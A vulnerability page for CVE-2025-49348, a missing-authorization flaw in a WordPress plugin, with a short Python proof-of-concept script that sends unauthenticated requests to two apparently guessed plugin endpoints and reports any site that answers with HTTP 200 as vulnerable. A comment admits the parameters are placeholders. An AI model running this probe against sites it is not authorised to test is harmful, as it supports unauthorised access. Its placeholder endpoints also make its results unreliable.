CVE-2025-49348 WordPress Hype插件缺失授权访问控制漏洞

# CVE-2025-49348 PoC - Missing Authorization in Hype Hype pico plugin # Target: WordPress site with Hype Hype pico plugin <= 1.0.5 import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-49348 Missing Authorization vulnerability """ # Common WordPress plugin paths potential_paths = [ '/wp-content/plugins/pico/', '/wp-content/plugins/hype-pico/', '/wp-admin/admin-ajax.php', ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-49348 - Missing Authorization in Hype Hype pico") # Test unauthenticated access to protected endpoints # Replace 'action' and 'nonce' with actual vulnerable parameters test_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=pico_get_data", f"{target_url}/wp-json/wp/v2/pico/settings", ] for endpoint in test_endpoints: try: response = requests.get(endpoint, timeout=10) # Check if we can access without authentication if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Response preview: {response.text[:200]}") elif response.status_code == 401: print(f"[-] Protected: {endpoint}") else: print(f"[*] Status {response.status_code}: {endpoint}") except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("\n[*] Manual verification recommended") print("[*] Check plugin version and review access controls") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-49348.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)